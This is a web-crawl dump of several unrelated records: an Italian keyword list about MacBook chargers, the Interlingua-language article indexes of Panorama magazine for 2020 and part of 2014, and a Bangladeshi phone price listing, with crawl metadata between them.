85w\nmacbook pro alimentatore leicke leicke 174 alimentatore ac adapterper per macbook\nmacbook pro alimentatore alimentatore per apple macbook 13 quot e macbook pro 13 quot 60w\nmacbook pro alimentatore alimentatore magsafe apple da 60w apple it\nmacbook pro alimentatore alimentatore magsafe clasf\nmacbook pro alimentatore alimentatore magsafe 2 da 85w macbook pro 15 quot retina i\nmacbook pro alimentatore alimentatore magsafe clasf\nmacbook pro alimentatore recensione alimentatore hiq con attacco compatibile apple\nmacbook pro alimentatore alimentatore 87w per macbook caricabatterie connettore\nmacbook pro alimentatore alimentatore ac adapter originale apple magsafe 1 60w\nmacbook pro alimentatore alimentatore caricabatterie magnete per pc notebook apple\nmacbook pro alimentatore allungare la vita dell alimentatore macbook una guida\nmacbook pro alimentatore alimentatore apple caricabatterie macbook air e pro 60w\nmacbook pro alimentatore alimentatore macbook tutte le offerte cascare a fagiolo\nmacbook pro alimentatore alimentatore mac apple magsafe 1 60w macbook air e pro\nmacbook pro alimentatore alimentatore notebook 18 5 volt per apple macbook pro 15","id":"","dump":"CC-MAIN-2019-04","url":"http:\/\/roncobbdesigns.com\/macbook-pro-alimentatore.html","date":"2019-01-21T14:53:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-04\/segments\/1547583792784.64\/warc\/CC-MAIN-20190121131658-20190121153658-00062.warc.gz","language":"ina","language_score":0.4369649291,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.4369649291038513, \"ita_Latn_score\": 0.25961920619010925, \"srd_Latn_score\": 0.07394205033779144, \"ben_Latn_score\": 0.028293387964367867, \"eng_Latn_score\": 0.02758442610502243, \"ile_Latn_score\": 0.026701992377638817, \"lat_Latn_score\": 0.026242028921842575, \"eus_Latn_score\": 0.025104926899075508, \"lim_Latn_score\": 0.013233994133770466, \"vec_Latn_score\": 0.012538157403469086}","num_words":585,"character_repetition_ratio":0.437,"word_repetition_ratio":0.248,"special_characters_ratio":0.168,"stopwords_ratio":0.149,"flagged_words_ratio":0.0,"lang_id_score":0.437,"perplexity_score":8261.8,"cluster_detection":-1} +{"text":"Iste indice monstra le contento del magazin Panorama in interlingua (ISSN 0903-2932) edition post edition. Columna 1 es le pagina, columna 2 le rubrica del articul(ett)o, columna 3 le subrubrica eventual, columna 4 le autor\/marca, columna 5 le typo de articulo.\n\n\nNo. 1\/2020, januario-februario\n|1||A revider!||Pro le prime vice jammais un pais ha quitate le Union Europee. Isto significa grande cambios – ma le lingua anglese remane official.||Copertura|\n|1||Usa Firefox in interlingua||Le navigator es a disposition completemente in interlingua. Panorama monstra como installar e usar lo – e plure additiones.||Copertura|\n|1||250 annos||Copertura|\n|1||Koalas menaciate post enorme incendio||8.400 koalas es timite morite.||Copertura|\n|1||2020 pro interlingua||Copertura|\n|1||Britannicos quita le tassas de the||Le vendita de the diminue.||Copertura|\n|1||Novas de interlingua||Copertura|\n|1||Le sono mordente del smartphone||Copertura|\n|1||Vision horripilante del rege||Copertura|\n|2+3||Grande cambios post exito europee||Pro le prime vice jammais un pais ha abandonate le Union Europee.||Breinstrup, Thomas||Nova|\n|2||Statos-membros||Factos|\n|3||Linguas official||Factos|\n|3||Le Parlamento Europee||Factos|\n|4||2020 – un anno active pro interlingua||Breinstrup, Thomas||Editorial|\n|4||Colophon||Interlingua|\n|5||8.400 koalas timite morte in flammas||Le forte incendios in Australia menacia le vita salvage. Al mesme tempore le temperaturas face record.||Breinstrup, Thomas||Nova|\n|5||2019 in Alaska esseva record de calor||Th.||Nota|\n|6+7||Usa Firefox in interlingua||Le navigator Firefox existe in interlingua pro computator, iPhone e iPad, es grauite e offere multe avantages al usator.||Dekker, Martijn||Novas de interlingua|\n|6||Installa Firefox||Factos|\n|8||Mini-officina: Parla in interlingua e adjuta Mozilla||Th.||Novas de interlingua|\n|9||Mini-officina: Como installar corrector de interlingua||Th.||Novas de interlingua|\n|10+11||366 dies pro Beethoven||Multo apte, 2020 offere un die extra pro celebrar le genio musical qui nasceva ante 250 annos – mesmo si on non es secur super le data.||Breinstrup, Thomas||Nova|\n|10||Production||Factos|\n|11||Obras famose||Factos|\n|11||Aeroporto in Berlin aperi in 2020||Th.||Nota|\n|11||Insula desira independentia||Th.||Nota|\n|11||Le plus calide in Antarctica||Th.||Nota|\n|12||Britannicos quita le tassas de the||Le vendita de the diminue in Grande Britannia e ha facite le interprisa le plus grande de the in le mundo considerar vender le boteca.||Breinstrup, Thomas||Nova|\n|13||\"Poetissimo\" continua in 2020||Novas de interlingua|\n|13||Nove presidente in Svedia||Novas de interlingua|\n|13||Organisation danese ha 60 annos||Novas de interlingua|\n|13||Avisos de coronavirus traducite||Novas de interlingua|\n|14||Necrologia: Esko Kangas||Novas de interlingua|\n|14||Le senato tchec in interlingua||Novas de interlingua|\n|14||Consulta plure dictionarios||Novas de interlingua|\n|15||Mini-presentation in sex linguas||Novas de interlingua|\n|15||Dictionario tchec sub revision||Novas de interlingua|\n|15||Calendario pro 2020 es preste||Novas de interlingua|\n|15||Incontro annual in Francia||Novas de interlingua|\n|16||Division de parolas in interlingua||Breinstrup, Thomas||Le parolas del mense|\n|16||Ubi es le accentuation?||Breinstrup, Thomas||Le parolas del mense|\n|17||Premiato Nobel in interlingua||Erik Enfors: \"Tres contos per Selma Lagerlöf\"||Th.||Libros|\n|17||Grande dictionario russe publicate||Victor Tchernavski: \"Dicitonario de interlingua: Russo-Interlingua Interlingua-Russo\" + \"Mini-dicitonario interlingua-russo russo-interlingua\"||Th.||Libros|\n|18+19+20+21||Vision de Carolo XI – rege de Svedia||Traduction in interlingua: Jean Martignon||Mérimée, Prosper||Litteratura|\n|21||Filio de Tolkien ha morite||Th.||Nota|\n|21||Svedia digitalisa jornales e libros||Th.||Nota|\n|22+23||Le historia del juvene rege del Insulas Nigre||Traduction in interlingua: Italo Notarstefano||Litteratura|\n|24||Intelligentia artificial salva dialecto||Th.||Le mundo actual|\n|24||Einstein in mini-moneta||Th.||Le mundo actual|\n|24||Bomba claudeva Venetia||Th.||Le mundo actual|\n|24||Mythologia nordic in le spatio||Th.||Le mundo actual|\n|25||35 mio. euros pro elephantes||Th.||Le mundo actual|\n|25||Plancto super porno sin subtitulos||Th.||Le mundo actual|\n|25||Le plus grande homine de nive||Th.||Le mundo actual|\n|25||Trottoir famose celebra 60||Th.||Le mundo actual|\n|26||Le sono mordente||Platter, Kenneth||Chronica|\n|27||Union Mundial pro Interlingua – representantes de interlingua||Interlingua|\n|28||Pian Boalt||Novas de nomines|\n|28||Dan Sterup||Novas de nomines|\n|28||Mona||Novas de nomines|\n|28||Que es interlingua? Como contribuer||Interlingua|\n\n\nNo. 2\/2020, martio-april\n|1||Coronavirus claude le mundo||In poc menses le imagine del mundo e del vita quotidian de milliardos de homines ha cambiate a causa de un parve virus que ha costate a plus que 100.000 le vita.||Copertura|\n|1||Incontro nordic postponite a '22||Le 17e incontro nordic de interlingua in julio in Svedia essera postponite – ma possibilemente un mini-incontro digital pote occurrer.||Copertura|\n|1||Ex-administrator del UMI moriva||Louise Delnoy habeva 88 annos.||Copertura|\n|1||Tempore decimal||Copertura|\n|1||Première del nove Interlingua.com||Redesignate e plus facile.||Copertura|\n|1||Panorama digital, aha||Copertura|\n|1||Sex paginas: Novas de interlingua||Copertura|\n|1||Jubileo pro moderne \"Arca de Noe\"||Copertura|\n|2+3||2020 cancellate per coronavirus||In poc menses le imagine del mundo e del vita quotidian de milliardos de homines ha cambiate a causa de un parve virus que ha costate a plus que 100.000 le vita.||Breinstrup, Thomas||Nova|\n|2||Coronavirus||Th.||Factos|\n|3||Gratuite lectura in interlingua||Th.||Nota|\n|4||Un labor commun – facite separatemente||Breinstrup, Thomas||Editorial|\n|4||Colophon||Interlingua|\n|5||Première del nove www.interlingua.com||Le sito del Union Mundial pro Interlingua ha essite redesignate.||Novas de interlingua|\n|6||Le disobedientia pro le libertate: Jean Moulin||Le partisano occitan deveniva un heroe del resistentia francese.||Moreau, Andrea||Nova|\n|7||Pippi celebra 75||Le puera le plus forte in le mundo remane sempre novem annos – e lo ha facite durante 75 annos.||Th.||Nova|\n|7||Google include cinque linguas||Th.||Nota|\n|7||Pyramide ancian reaperi||Th.||Nota|\n|7||Melior herba pro vaccas adjuta||Th.||Nota|\n|8||Incendio in castello in Berlin||Th.||Nota|\n|8||Grande foramine de ozono arctic||Th.||Nota|\n|8||Juvenes lege minus de libros||Th.||Nota|\n|8||Coronavirus causa problemas arctic||Le scientistas in le Circulo Arctic non pote esser reimplaciate. Isto pote dar lacunas in le collection de sapientia.||Th.||Nova|\n|9||Policia de albatroses revela pisca illegal||Le autoritates usa \"drones intelligente\" pro combatter pisca illegal pro 20,7 milliardos euros per anno.||Breinstrup, Thomas||Nova|\n|10||Incontro nordic postponite a 2022||Le 17e incontro nordic de interlingua in le fin de julio presso le mar in Svedia debe esser postponite a causa del coronavirus. Un mini-incontro digital es sub planification in vice.||Novas de interlingua|\n|11||Mini-officina: Lege Panorama in formato digital||Th.||Novas de interlingua|\n|12||Nove presidente in Francia||Novas de interlingua|\n|12||Programmation in interlingua||Novas de interlingua|\n|12||Poeta in quarantena||Novas de interlingua|\n|13||Ambitiose podcast in germano||Novas de interlingua|\n|13||Union norvegian in hibernation||Novas de interlingua|\n|13||Incontro primaveral in Danmark||Novas de interlingua|\n|14||Le ex-administrator del UMI ha morite||Louise Delnoy-Sijstermans, qui durante 12 annos esseva le administrator del Union Mundial pro Interlingua, ha morite.||Th.||Necrologia|\n|15||PayPal pro tempore non possibile||Novas de interlingua|\n|15||Collection complete in interlingua||Novas de interlingua|\n|15||Nove cartas nordic publicate||Novas de interlingua|\n|16||Productos e ecclesia in interlingua||Novas de interlingua|\n|16||Incontro brasilian in julio||Novas de interlingua|\n|16||Grammatica bilingual es preste||Novas de interlingua|\n|16||Dictionario in linea corrigite||Novas de interlingua|\n|17||Interlingua in le pressa||Novas de interlingua|\n|17||Interlingua in revista cultural||Novas de interlingua|\n|17||Plus de traductiones de software||Novas de interlingua|\n|18||Le coronavirus cambia nostre lingua||Breinstrup, Thomas||Le parolas del mense|\n|19||Le heroe del mythologia grec||Th.||Libros|\n|19||Nove dictionario portugese||Libros|\n|19||Publicationes in interlingua||Libros|\n|19||Recipe Panorama digital!||Interlingua|\n|20||Valvula del die de judicio attinge un million typos||Un sorta de Arca de Noe pro semines in un remote insula norvegian debe conservar tote le plantas del mndo como un copia de securitate.||Breinstrup, Thomas||Scientia|\n|21||Oceanos plus calide que jammais||Le temperatura le plus alte esseva attingite in 2019, e le velocitate ha augmentate.||Th.||Scientia|\n|21||Le plus calide in Antarctica||Th.||Nota|\n|21||Minus de pinguines antarctic||Th.||Nota|\n|22+23||Tres contos||Traduction in interlingua: Italo Notarstefano||Charms, Daniil||Litteratura|\n|23||Café de litteratura: Quiz||Th.||Litteratura|\n|24||Bombas costose pro Big Ben||Th.||Le mundo actual|\n|24||Record pan-mundial||Th.||Le mundo actual|\n|24||Productos de menstruation gratuite||Th.||Le mundo actual|\n|24||Homine de 112 annos moriva||Th.||Le mundo actual|\n|24||Mona Lisa cubistic vendite||Th.||Le mundo actual|\n|25||Director contra codices a barras||Th.||Le mundo actual|\n|25||Designator de Asterix moriva||Th.||Le mundo actual|\n|25||Secrete servicio divin stoppate||Th.||Le mundo actual|\n|25||Pizzas essera ancora plus amate post corona||Th.||Le mundo actual|\n|26||Tempore decimal||Platter, Kenneth||Chronica|\n|27||Union Mundial pro Interlingua – representantes de interlingua||Interlingua|\n|28||Ruud Harmsen||Novas de nomines|\n|28||Stanley Allen Mulaik||Novas de nomines|\n|28||Roxanne||Novas de nomines|\n|28||Que es interlingua? Como contribuer||Interlingua|\n\n\nNo. 3\/2020, maio-junio\n|1||Chaos continua con corona||Un secunde unda del maladia timite risca erumper in plure paises. Ma il ha radios de sperantia. Medicamentos existente pote possibilemente adjutar le patientes.||Copertura|\n|1||17 objectivos in interlingua||Panorama presenta le objectivos de developpamento sustenibile del Nationes Unite||Copertura|\n|1||Le elf de interlingua non scribe plus||Un del grande e importante contributores al litteratura in interlingua, Italo Notarstefano, ha subito morite, 73 annos.||Copertura|\n|1||Priorita le paginas web in interlingua||Fortia tu navigator de internet a seliger paginas in interlingua.||Copertura|\n|1||Interpretes perdeva le parola in le crise||Labor in 24 linguas dispareva.||Copertura|\n|1||Nomines de caressa||Copertura|\n|1||Grande luna move via de Saturno||Le velocitate surprende.||Copertura|\n|1||Exploration exotic||Copertura|\n|1||Libros pro le estate||Prepara tu vacantias||Copertura|\n|1||Tres paginas con novas de interlingua||Copertura|\n|2+3||Chaos continua con coronavirus||Un secunde unda del maladia timite risca erumper in plure paises. Ma il ha radios de sperantia – i.a. medicamentos existente que possibilemente pote adjutar le patientes.||Breinstrup, Thomas||Nova|\n|3||Coronavirus||Th.||Factos|\n|3||Interpretes ha perdite le parola durante le crise||Le interpretes independente, qui normalmente assecura le communication in le Union Europee con 24 linguas official, ha perdite lor labor a causa del coronavirus. Ora illes protesta e demanda supporto.||Th.||Nova|\n|4||Nos omnes besonia inspiration positive||Breinstrup, Thomas||Editorial|\n|4||Colophon||Interlingua|\n|5||Extermination plus rapide de animales que timite||Animales dispare 100 vices plus rapidemente que normalmente.||Th.||Nova|\n|5||Crise de theatro de Shakespeare||Th.||Nota|\n|5||Franceses, usa francese||Th.||Nota|\n|6||Festival de Salzburg realisate||Th.||Nota|\n|6||Artista inveloppante moriva||Th.||Nota|\n|6||Massive complexo del mayas cambia le historia||Le construction le plus grande e le plus ancian del civilisation potente esseva sub le oculos de omnes ma remaneva invisibile.||Th.||Nova|\n|7||Grande luna se remove ab Saturno||Titan se distantia 100 vices plus rapidemente que expectate ab su planeta.||Breinstrup, Thomas||Nova|\n|8||Enigma de enorme cuppola finalmente ha essite solvite||Gratias a technica computatorial on finalmente sape como Filippo Brunellesci succedeva construer le cuppola le plus grande in le mundo.||Breinstrup, Thomas||Scientia|\n|9||Nove methodo revela invisibile escappamentos||Le manco del radioactive carbon-14 in dioxydo de carbon ab combustibiles fossile face le escappamento climatic traciabile.||Th.||Scientia|\n|9||Nulle emissiones in 2050||Th.||Nota|\n|9||Plus de mulctas pro autoistas||Th.||Nota|\n|9||Arte tridimensional prehistoric||Th.||Nota|\n|10+11+12||Le elf de interlingua non scribe plus||Italo Notarstefano, qui ha contribuite enormemente al litteratura in interlingua, ha morite, 73 annos.||Breinstrup, Thomas||Necrologia|\n|12||Nove articulo super interlingua||Novas de interlingua|\n|12||Lecturas biblic in interlingua||Novas de interlingua|\n|12||11.000 adjectivos in interlingua||Novas de interlingua|\n|13||Nove designo ben recipite||Novas de interlingua|\n|13||Incontro brasilian postponite||Novas de interlingua|\n|13||Album bo. 2 in interlingua||Novas de interlingua|\n|13||Curso interactive pro lusophonos||Novas de interlingua|\n|13||Gratuite lectura in interlingua||Novas de interlingua|\n|14||65 annos: Gheorghe Petrineanu||Novas de interlingua|\n|14||Poemas musical de Marcus Scriptor||Novas de interlingua|\n|14||2\/3 de dictionario danese preste||Novas de interlingua|\n|14||Belle icones de interlingua||Novas de interlingua|\n|15||Exploration exotic||Th.||Viages|\n|16||Mini-officina: Priorita paginas in interlingua||Th.||Novas de interlingua|\n|17||17 objectivos del Nationes Unite||Breinstrup, Thomas||Le parolas del mense|\n|18+19||Libros pro le estate||Annuncio|\n|20||Mini-dictionario in arabe preste||Th.||Libros|\n|20||Minihistoria philosophic||Th.||Libros|\n|20||Publicationes in interlingua||Libros|\n|20||Recipe Panorama digital!||Annuncio|\n|21+22+23||Le cavallo magic||Traduction in interlingua: Italo Notarstefano||Litteratura|\n|23||Café de litteratura: Quiz||Th.||Litteratura|\n|24||\"Guardiano nocturne\" detaliate||Th.||Le mundo actual|\n|24||Cognac ab 1762 pro 1,32 mio. Euros||Th.||Le mundo actual|\n|24||Lady Gaga prende le record||Th.||Le mundo actual|\n|24||Grande scarpas mantene distantia||Th.||Le mundo actual|\n|25||Bach celebrate in un marathon||Th.||Le mundo actual|\n|25||\"Nos es sin corona – vive ci!\"||Th.||Le mundo actual|\n|25||Troppo de feretros post panico||Th.||Le mundo actual|\n|25||Polonia invadeva Tchecia per error||Th.||Le mundo actual|\n|26||Nomines de caressa||Platter, Kenneth||Chronica|\n|27||Union Mundial pro Interlingua – representantes de interlingua||Interlingua|\n|28||Erik Enfors||Novas de nomines|\n|28||Sven Frank||Novas de nomines|\n|28||Paolo Castellina||Novas de nomines|\n|28||Que es interlingua? Como contribuer||Interlingua|","id":"","dump":"CC-MAIN-2020-34","url":"https:\/\/www.interlingua.com\/panorama\/indices\/anno_2020\/","date":"2020-08-14T00:58:17Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-34\/segments\/1596439739104.67\/warc\/CC-MAIN-20200813220643-20200814010643-00599.warc.gz","language":"ina","language_score":0.9787159562,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"ina_Latn_score\": 0.9787159562110901}","num_words":2619,"character_repetition_ratio":0.17,"word_repetition_ratio":0.054,"special_characters_ratio":0.261,"stopwords_ratio":0.036,"flagged_words_ratio":0.0,"lang_id_score":0.982,"perplexity_score":6205.1,"cluster_detection":-1} +{"text":"Menu\nCategory:\nLava\nLava\nLava Z91 price & Full Specs in Bangladesh\nLava\nLava Z90 price in Bangladesh & Specifications\nLava\nLava Z80 BD Price & Specifications\nLava\nLava Z60 price in Bangladesh and Review\nLava\nLava A44 price in Bangladesh & Specifications\nLava\nLava A77 price & Full Specs in Bangladesh\nLava\nLava Z25 Price in Bangladesh & Full Specification\nLava\nLava X28 Plus price in BD & Full Specification\nLava\nLava A73 Price in Bangladesh & Full Specification\nLava\nLava X19 price & Full Specs in Bangladesh\nLava\nLava A55 price & Full Specs in Bangladesh\nLava\nLava A50 BD Price & Specifications\nPrevious\nNext","id":"","dump":"CC-MAIN-2021-10","url":"https:\/\/phones.com.bd\/lava\/page\/2\/","date":"2021-03-04T05:41:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-10\/segments\/1614178368608.66\/warc\/CC-MAIN-20210304051942-20210304081942-00629.warc.gz","language":"ina","language_score":0.3008993566,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.30089935660362244, \"ita_Latn_score\": 0.1325797736644745, \"vec_Latn_score\": 0.119103342294693, \"eng_Latn_score\": 0.09378378093242645, \"por_Latn_score\": 0.06422300636768341, \"srd_Latn_score\": 0.05499992147088051, \"lmo_Latn_score\": 0.030623767524957657, \"wol_Latn_score\": 0.024227509275078773, \"roh_Latn_score\": 0.019300229847431183, \"slv_Latn_score\": 0.013483305461704731, \"lim_Latn_score\": 0.011271252296864986}","num_words":154,"character_repetition_ratio":0.226,"word_repetition_ratio":0.303,"special_characters_ratio":0.233,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.221,"perplexity_score":8571.7,"cluster_detection":-1} +{"text":"- Pagina principal\n- UMI e interlingua\n- Interlingua pro juniores\n- Libros e litteratura\n- Panorama\n- Servicio de Libros UMI\n- Litteratura in interlingua\n- Dictionarios e cursos\n- interlingua\n- anglese\n- catalano\n- chinese\n- danese\n- espaniol\n- francese\n- germano\n- italiano\n- lituano\n- norvegiano\n- portugese\n- turco\n- Facile a leger in interlingua\n- Grammatica de interlingua\n- Inseniamento\n- Bibliotheca electronic\n- Almanac de interlingua\n- Angulo linguistic\n- Practica interlingua!\n- Films\n- Radio Interlingua\n- Ligamines\n- Mappa del sito\nPanorama in interlingua - indice 2014\n2014-02-28 14:37 Historia\nIste indice monstra le contento del magazin Panorama in interlingua (ISSN 0903-2932) edition post edition.\n\n\nNo. 1\/2014, januario-februario\n|1||Invitation a nordic superconferentia pro le familia||Grande arrangiamento de interlingua in Svedia le 29 de julio al 3 de august con un reduction del precio a omnes qui reage rapidemente.|\n|1||Un pais magic al mar||Veni a un viage mysteriose in le forestes svedese.||Copertura|\n|1||Elephantes dispare||Copertura|\n|1||Littera del presidente||Le UMI ha aperite su proprie officio pro facer 2014 le melior anno del UMI desde su fundation, scribe presidente Sven Frank.||Copertura|\n|1||Le vita secrete de Walter Mitty||Lege le novella detra le film actual in interlingua.||Copertura|\n|1||Interlingua expande||Copertura|\n|1||Bon lectura facile||Duo nove libros recipe bon recensiones.||Copertura|\n|2||Inspiration e energia in le belle estate nordic||Breinstrup, Thomas||Editorial|\n|3+4||Invitation a superconferentia nordic||Participa con tote le familia in le combinate conferentia international e incontro nordic le 29 de julio al 3 de augusto 2014 in Svedia – un septimana extraordinari pro incontrar amicos, apprender e conversar in interlingua, ir a excursiones e esser inspirate a esser creative.||Breinstrup, Thomas||Conferentia de interlingua|\n|5||Littera del presidente||Frank, Sven||Novas de interlingua|\n|6||Duo tertios del elephantes disparite||Chassa furtive ha eliminate quasi 100.000 elephantes in Tanzania desde 38 annos.||Breinstrup, Thomas||Nova|\n|7||NU declara guerra contra ebore||Nove restrictiones pro salvar animales.||Breinstrup, Thomas||Nova|\n|7||Nove stato in India||Th.||Nota|\n|7||Centro de irlandese aperi||Th.||Nota|\n|7||Bibliotheca famose reappare||Th.||Nota|\n|8||Diamante \"exceptional\" trovate||Th.||Nota|\n|8||Siccitate va crescer||Beq||Nota|\n|8||Homosexualitate culpabile||Beq||Nota|\n|8||2013 esseva un anno exceptional||Le sexte plus calide anno desde 1850 ha passate.||Breinstrup, Thomas||Nova|\n|9||Curso septimanal in Germania||Novas de interlingua|\n|9||Material didactic usate in Tatoeba||Novas de interlingua|\n|10||Campania de information gymnasial||Novas de interlingua|\n|10||Nove adresse de representante||Novas de interlingua|\n|10||Interlinguista slovac portraitate||Novas de interlingua|\n|10||Dictionario anglese pro Kindle||Novas de interlingua|\n|11||Almanac gratuite pro omnes||Novas de interlingua|\n|11||Reclamo in programma de musical||Novas de interlingua|\n|12||Glacie arctic lucta retro in volumine||Plus de glacie in Arctide in 2013.||Breinstrup, Thomas||Scientia|\n|13||Nave spatial chinese atterra sur le Luna||Th.||Scientia|\n|13||Vetere carie dental||Beq||Nota|\n|13||Tabacco prisa e graviditate||Beq||Nota|\n|13||Feminas labora gratis||Beq||Nota|\n|14||Mysterios amusante e educative||Thomas Breinstrup: \"Mysterios in Mexico – un novella criminal\"||Platter, Kenneth||Libros|\n|14+15||Contos animal del foreste||Horacio Quiroga: \"Contos del foreste\"||Platter, Kenneth||Libros|\n|15||Conan Doyle con nove mysterios||Libros|\n|15||Nove publicationes in interlingua||Libros|\n|16||Quiz in interlingua||Madsen, W.||Quiz|\n|16||Interlingua in practica||Interlingua in practica|\n|17||Labyrintho||Passatempores in interlingua||Soreto, Carlos||Labyrintho|\n|18+19||Aventuras magic in le forestes svedese||Subito on entra in un altere pais – e se meravilia, como il del toto ha essite possibile construer iste spectaculo extraordinari...||Breinstrup, Thomas||Viages|\n|19||Visita Ladonia||Th.||Viages|\n|20+21+22+23||Le vita secrete de Walter Mitty||Traduction in interlingua: Italo Notarstefano||Thurber, James||Litteratura|\n|24||Conilios crita de dolor||Beq||Le mundo actual|\n|24||Recoltas suple functiona||Beq||Le mundo actual|\n|24||Inverse 1||Beq||Le mundo actual|\n|24||Inverse 2||Beq||Le mundo actual|\n|24||Nove bicyclo electric||Beq||Le mundo actual|\n|25||Ubi es le captura?||Beq||Le mundo actual|\n|25||Le parto de Maria||Beq||Le mundo actual|\n|25||Minus de norvegianos||Th.||Le mundo actual|\n|25||Promenar contra diabete||Beq||Le mundo actual|\n|25||Successo contra polio||Beq||Le mundo actual|\n|26||Omne le juvenes!||Breinstrup, Thomas||Le parolas del mense|\n|26||Tiracorcos e parolas plural||Breinstrup, Thomas||Le parolas del mense|\n|26||Seniores e doctores non es grande||Breinstrup, Thomas||Le parolas del mense|\n|27||Union Mundial pro Interlingua – representantes de interlingua||Interlingua|\n|28||Martijn Dekker||Novas de nomines|\n|28||Frank Peter Gopsill||Novas de nomines|\n\n\nNo. 2\/2014, martio-april\n|1||Europa in disharmonia||Le frontieras europee non plus sembla esser si fixate. In multe areas, on parla de independentia e nove statos.||Copertura|\n|1||Como combinar su interesses con interlingua?||Copertura|\n|1||20me conferentia \/ 14te incontro nordic de interlingua||Participa in le grande arrangiamento estive in Svedia 29.07-03.08.||Copertura|\n|1||García Márquez mori||Le premiato Nobel con le realismo magic habeva 87.||Copertura|\n|1||Tutankhamon copiate||Copertura|\n|1||Le plus ancian tracia human in … Anglaterra||Sensation sub le mar.||Copertura|\n|1||Début in interlingua||Copertura|\n|1||Chabita como Franz J.||Castello imperial deveni hotel.||Copertura|\n|1||Interlingua, avante!||Copertura|\n|2||Facile, obvie e effective – explora lo mesme!||Breinstrup, Thomas||Editorial|\n|3||SUA: Commercio con ebore prohibite||Forte mesuras debe stoppar le commercio illegal con ebore e assi salvar le vitas del elephantes african, que es occidite pro lor defensas.||Breinstrup, Thomas||Nova|\n|3||Plus de touristas a Tanzania||Th.||Nota|\n|4+5||Le Disunion Europee||Plure regiones del continente desira independentia. Isto face le tensiones crescer.||Breinstrup, Thomas||Nova|\n|6+7||Como combinar su interesse pro interlingua con su altere interesses?||Platter, Kenneth||Chronica|\n|7||Microsoft prende Nokia||Th.||Nota|\n|7||Duo papas sanctificate||Th.||Nota|\n|8||Touristas solo videra un copia del tumba||Tutankhamon ha devenite troppo touristic.||Breinstrup, Thomas||Nova|\n|8||Paises arctic vole proteger urso polar||Th.||Nota|\n|9||Casino controversial in Europa stoppate||Operator american abandona planos de un \"Eurovegas\" post grande debatto.||Breinstrup, Thomas||Nova|\n|9||Sanguine non esseva regal||Th.||Nota|\n|9||Election al Parlamento Europee||Th.||Nota|\n|10||García Márquez ha morite||Le premiato Nobel, qui contribueva al litteratura mundial con su multe descriptiones ab America Latin, habeva 87 annos.||Breinstrup, Thomas||Nova|\n|11||UMI aperi officio||Cata martedi vespere le presidente del UMI es accessibile.||Th.||Novas de interlingua|\n|11||Consiliero german se retira||Le Union German pro Interlingua debe appunctar un nove consiliero.||Th.||Novas de interlingua|\n|12||13.000 phrases preste in interlingua||Novas de interlingua|\n|12||Timbro special con le conferentia||Novas de interlingua|\n|12+13||Le prime www.interlingua.com||Novas de interlingua|\n|14||Ex-presidente svedese moriva||Carl-Erik Boman||I.S.\/Th.||Necrologia|\n|14+15||Representante in Polonia moriva||Józef Kwasniak||Th.||Necrologia|\n|15||50 annos: Yuriy Cherednikov||Th.||Novas de interlingua|\n|15||Nove publicationes in interlingua||Novas de interlingua|\n|16||Le plus ancian tracias human extra Africa trovate||Sito archeologic in Anglaterra revela un secreto sensational sub le mar.||Breinstrup, Thomas||Scientia|\n|17||Un Terra 2 pote tosto esser trovate||715 nove planetas extra nostre systema solar discoperite per NASA.||Th.||Scientia|\n|17||Glaciero antarctic in dissolution||Th.||Nota|\n|17||Alcohol e le memoria||Beq||Nota|\n|18||Catacombas secrete revelate post labor||Le Vaticano reaperi meravilias subterranee e offere un tour virtual.||Breinstrup, Thomas||Scientia|\n|19||Habita como le imperator mesme||Pernocta in le salones de imperator Franz Joseph in le castello Schönbrunn extra Vienna.||Breinstrup, Thomas||Viages|\n|20||Quiz in interlingua||Madsen, W.||Quiz|\n|20||Interlingua in practica||Multe materiales||Interlingua in practica|\n|21||Labyrintho||Passatempores in interlingua||Soreto, Carlos||Labyrintho|\n|22||Mi caffe||Krause, Catherine B.||Litteratura|\n|22||Ama tu litteratura?||\"Mini-anthologia in interlingua\" (1-3)||Litteratura|\n|23||\"Dictionario del diabolo\"||ultime parte||Bierce, Ambrose||Litteratura|\n|24||Espania cerca Cervantes||Th.||Le mundo actual|\n|24||Depression e le mangiar||Beq||Le mundo actual|\n|24||Repartir le mangiar||Beq||Le mundo actual|\n|24||Le enigma de diabete||Beq||Le mundo actual|\n|25||Non dormir es riscose||Beq||Le mundo actual|\n|25||Cruelitate forsan dispare||Beq||Le mundo actual|\n|25||Solmente ligno certificate||Beq||Le mundo actual|\n|25||Danmark virtual recreate||Th.||Le mundo actual|\n|26||Nord e sud e...||Breinstrup, Thomas||Le parolas del mense|\n|26||Le tempore(s) del die||Breinstrup, Thomas||Le parolas del mense|\n|27||Union Mundial pro Interlingua – representantes de interlingua||Interlingua|\n|28||Péter Kovács||Novas de nomines|\n|28||Sven Frank||Novas de nomines|\n|28||Alberto Mardegan||Novas de nomines|\n|28||Martijn Dekker||Novas de nomines|\n|28||Que es interlingua? Como contribuer||Interlingua|\n\n\nNo. 3\/2014, maio-junio\n|1||Calefaction disperge malaria||Le maladia mortal ascende a altitudes usque ora non toccate. Ma promittente resultatos scientific pote crear un vaccino que imprisiona le parasitos.||Copertura|\n|1||Grande septimana de interlingua se approxima||Sex dies excitante attende le participantes in le combinate conferentia international e incontro nordic in Svedia in julio.||Copertura|\n|1||Tres paginas con bon libros pro le estate||Copertura|\n|1||Linguas dispare in UE||Italia non vole usar francese e germano.||Copertura|\n|1||Le scepticos ganiava||Copertura|\n|1||Nave mythic de Columbo trovate||Santa Maria localisate.||Copertura|\n|1||Telephomania||Copertura|\n|1||Sagas obtene vita||Famose sagas islandese es ora complete.||Copertura|\n|1||Quiz e labyrintho||Copertura|\n|2||Hurrah, il es estate!||Breinstrup, Thomas||Editorial|\n|3||Italia non vole usar francese e germano||Linguas de labor del UE dispare.||Breinstrup, Thomas||Nova|\n|4||Calefaction global disperge malaria||Le maladia mortal ascente a altitudes usque ora non toccate.||Breinstrup, Thomas||Nova|\n|5||Nove vaccino pote imprisionar malaria||Promittente resultatos scientific.||Breinstrup, Thomas||Nova|\n|5||Rege espaniol abdicava||Th.||Nota|\n|5||Establimento le plus ancian||Th.||Nota|\n|6||Telephomania||Platter, Kenneth||Chronica|\n|7||Serraturas de amor face ponte collaber||Ponte non poteva plus supporta 